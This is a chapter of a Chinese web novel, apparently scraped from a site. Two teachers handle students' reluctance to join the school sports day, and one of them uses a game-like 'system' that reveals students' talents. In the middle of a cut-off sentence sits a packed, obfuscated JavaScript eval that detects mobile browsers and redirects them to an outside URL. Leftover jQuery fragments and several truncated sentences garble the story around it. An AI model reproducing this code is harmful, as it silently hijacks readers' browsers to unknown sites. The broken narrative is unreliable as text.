5班班会课上，储梅老师按照学校要求，播放了前几年运动会的精彩集锦。


    班里占多数的女孩子们叽叽喳喳，好像还挺有兴趣，男生却个个怨声载道。


    原因无它，只有11个男生，项目还是那么多个，分到每个人身上的担子就重了许多。


    29个女生把项目分完了，5班男生却只有两个人还算踊跃，剩下的九人一声不吭。


    单人项目报不满，储老师也忍了。可集体项目响应者寥寥，实在扫兴。


    不限性别的“双胞胎足球项目，10班早在报名第一天就选好了主力、替补，放学后都开始训练了。


    5班呢，在储老师的鼓励之下，有8个女生报名。


    想着自己班的姑娘，要和别班的肌肉大高个在场上争球，储老师于心不忍。


    而且，5班再怎么阴盛阳衰，也有11个男生。需要大量跑动、身体对抗的集体项目全让女生上，到时候挨别班同学笑话的，不还是5班男生自己？


    只是这话，身为老师，她也不好意思当着同学面说出来罢了。


    “大家看看，人家10班那么积极，你们总不会连10班都比不过吧。


    她觉得，高一年级所有学生都在潜移默化中产生了一种共识：在任何方面比不上10班，都是一种羞辱。


    储老师年龄比较大，但她带班作风相对民主。男生里没人报名，她也不至于强拉着人去，只能趁校运会开始前，反复强调运动会的重要性。


    大概是听了太多一样的言语，耳朵都听出茧子来了，5班有个男生逆反心理蹭一下就上来，坐在台下就和储老师叫板：“老师，我理解您，希望我们不要整天就知道看书，也要去参加运动会。要不然，我们班好多项目参赛者挂零。可是，您经常和我们说，要做追求卓越的人，可是，让我们去参加运动会，却和您这番叫道背道而驰啊。


    没举手就坐在座位上发言，储老师心里很不开心。


    不过，叫板的是班里一个成绩拔尖的男生，她忍了忍，问道：“怎么就背道而驰了？在赛场上展现不服输的风貌，也是挑战自我、成就卓越的机会呀。


    那男生好像早就猜到了储老师会这么说，得意地笑着说：“老师，我们5班男生少，擅长运动的更少。拉我们去比赛，不过是赶鸭子上架，我们不得不在无法取得成绩的事情上浪费时间精力。这不是暴殄天物么？10班同学精力过剩，喜欢动，就让他们大显身手，而我们喜欢静，就让我们扬长避短，这样，大家都开心。


    果然是文科班的学生，说起话来头头是道，一个成语接着一个成语。


    有人附和：“是啊，报名了还要参加训练，太麻烦了。反正我们也没那么大本事，把学习搞好不比这强？


    这人倒还讲礼貌，知道站起来和老师说话，说出的言语却让储老师寒心。


    多年前，有位燕大教授提出了“精致的利己主义者这一概念，此时的储老师觉得，她面对的就是一群这样的人，自私也就算了，还挖空心思将其合理化。


    换成年级组长邵老师当班主任那会儿，他指定谁，谁就得上。哪怕断了腿也得站在起跑线上做个样子，发令枪不响，都不准下场。


    如若不然，邵老师会对轻易放弃的学生极尽冷嘲热讽之能事。除非脸皮比城墙还厚，否则，过不了几天，这学生就要主动向邵老师道歉，并在接下来的集体活动中，竭尽全力为班级添砖加瓦。


    储老师不愿意这样。向她这样的老派文科教师，都还有些所谓自由主义思想，她不希望自己的学生完全被集体所裹挟。


    可也不能一点集体荣誉感都没有啊！明明她都那么迁就同学了，怎么还是没有人相应她的呼吁呢？


    运动会，多好玩啊！


    不限性别的“双胞胎足球都那么困难，像跳长绳、绑腿协作跑这类传统集体项目就更难了。这些项目，原则上要求男女参赛人数相等，照顾到5班以及高二高三年级文科尖子班的情况，学校特批他们，可以按照4：6的男女比例报名。


    “双胞胎足球


    5班体育委员江虹，这几天嘴皮子都磨破了。她虽然不是体育特长生，但运动能力强，一个人报了四个单人项目，也报了长绳队。


    原以为能给同学们塑造一个榜样，却不料，连储老师都响应者寥寥，她一个小小体委，说话就更没人听了。


    到了比赛前一星期，长绳队还缺两个人，连报名甩绳的两个男生都时常因故缺席。5班长绳队还从来没有满员训练过。


    江虹气不过，直接从不愿报名的男生中抓阄。抽中管敬飞和沈琥两个“倒霉蛋，他俩被强行填了上去。


    江虹想，真到了比赛那一天，难不成他们还真好意思当着全校同学的面，站在那儿挨绳子打？怎么都得跟队训练一两次吧。


    放学后，储老师来到操场查看同学们的训练情况。


    本来，储老师是不想来的，可5班体委江虹刚打电话给她，说长绳队负责甩绳的管敬飞没请假就缺席训练，导致本该连跳绳的男队员们只能轮流甩绳。


    储老师一看，管敬飞正安安稳稳坐在班里写作业呢。


    “我都没报名，凭什么要我去啊……管敬


    飞很委屈。


    她又是一顿苦口婆心的劝解，才让管敬飞答应回去训练。


    一边是稀稀拉拉、没精打采的5班长绳队，另一边则是精神抖擞的10班长绳队、协作跑队。储老师数了一下，10班至少有三十个同学，在运动场上训练不同项目。


    5班集体项目少人报名，经过江虹协调，一些愿意参与的同学报名了两个集体项目。但分身乏术，所以即使5班的集体项目凑齐了人数，训练也很难满员。


    10班呢，“双胞胎足球


    替补队员的存在，也不只是起到“备用作用。双胞胎足球项目本身就很好玩，水平不足、没机会在运动会赛场大显神威的同学们，至少可以在训练时玩个畅快。


    得益于没有家庭的牵绊，高松然也很忙。一会儿在长绳队帮同学们计时计数，一会儿跑去双胞胎足球队当裁判，一会儿去协作跑队喊口号……


    好不容易等到10班训练完毕，夕阳下孩子们挎着书包有说有笑，而5班则一个个愁眉苦脸，好像全世界欠了他们钱似的。


    储老师找到高松然：“小高啊，你们班参赛的积极性真高，要是我们班能有你们10班一半就好了！尤其是那个领头的卢浩，那真是一呼百应啊！还有那韦闲仲，上课不显


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994185|113735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山不露水的，没想到练起长绳来那么用心！


    那天放学后，孙志亮和韦闲仲比赛1500米，体委潘梦影当计时裁判，还有好事者叫上高松然来围观。


    事实证明，中考1000米满分的韦闲仲，的确没跑过1500米。尽管前半程大幅领先，但韦闲仲后半程彻底脱力，被稳扎稳打的孙志亮超过。


    没了1500米名额，短程项目也报满了，韦闲仲无奈，一口气同时报了长绳和双胞胎足球两个集体项目。


    暗地里，他和孙志亮较劲呢——我长跑跑不过你，但我要在别的项目上证明，你孙志亮也不比我强多少！


    至于卢浩，也让高松然眼前一亮。以前只觉得他在同学们面前混得开，让他管纪律。在训练场上，高松然还发现，每次联系开始前，卢浩会对大家说一些鼓舞人心的话语，给予同学们鼓励。


    高松然找到卢浩，笑着说：“你越来越厉害了。以前只知道你擅长管纪律，没想到，你还有领队的才能嘛。


    卢浩不好意思地低下头：“同学们上了一天的课，放学还要来练项目，太累了。我吼两句，发现大家又都精神了。我也不知道为啥，嘿嘿。


    【在宿主的引导下，学生[卢浩]摆脱对未来的迷惘，获得春雨点50点，“天眼一次。


    “天眼”限1小时内使用，过期无效。】


    ？？？


    这就让他找到未来的道路了？


    系统惊喜还没完：


    【由于学生[卢浩]此时的天赋尚未揭露，额外奖励宿主一次折扣“天眼”机会，可使用50点春雨点，购买原价100点的“天眼”。】


    正好，班里同学正在收拾东西离开，一眼望过去，就看到了好几个还没开过天眼的。


    打对折的天眼还是值得的。高松然准备把其中一次天眼留给卢浩，另一次嘛……


    早在他接手10班班主任之前，杨陶璐就在英语课代表的岗位上兢兢业业服务了。她也是高松然在10班最早认识的同学之一。


    就她了！


    “异口”。


    什么异口？异口同声？同声？


    结合杨陶璐英语课代表的身份，是说她以后能成为同声传译译员？


    她的口语的确不错，却也只是在10班内比较的结果。别说实验班那群学霸了，隔壁11班就有个父母都是留学生、从小双语教学的女生，在省市级的中小学生口语大赛中多次获奖。虽然比不上高二年纪主持英语角的谢麟婉，却也相当优秀了。


    和她们相比，杨陶璐只能算“还行”。她的父母都是普通职工，并没有条件给她创造双语环境。


    当然，英语专业的高松然清楚，拥有优秀的语言能力，不代表就能成为同传译员。专注力、记忆力、反应速度，乃至抗压能力都必不可少，同时具备，才能胜任同传这项高难度、高回报的工作。


    剩下几项，杨陶璐都不算差，今后专注往这个方向培养，看看她的接受程度如何。


    随后，高松然又看向卢浩。


    被自己夸了“拥有领队才能”后，系统忽然给的提示，可以猜测卢浩的天赋就是领队相关。


    ……但是，为什么“天眼”告诉高松然，卢浩的天赋叫做“绳艺”啊？！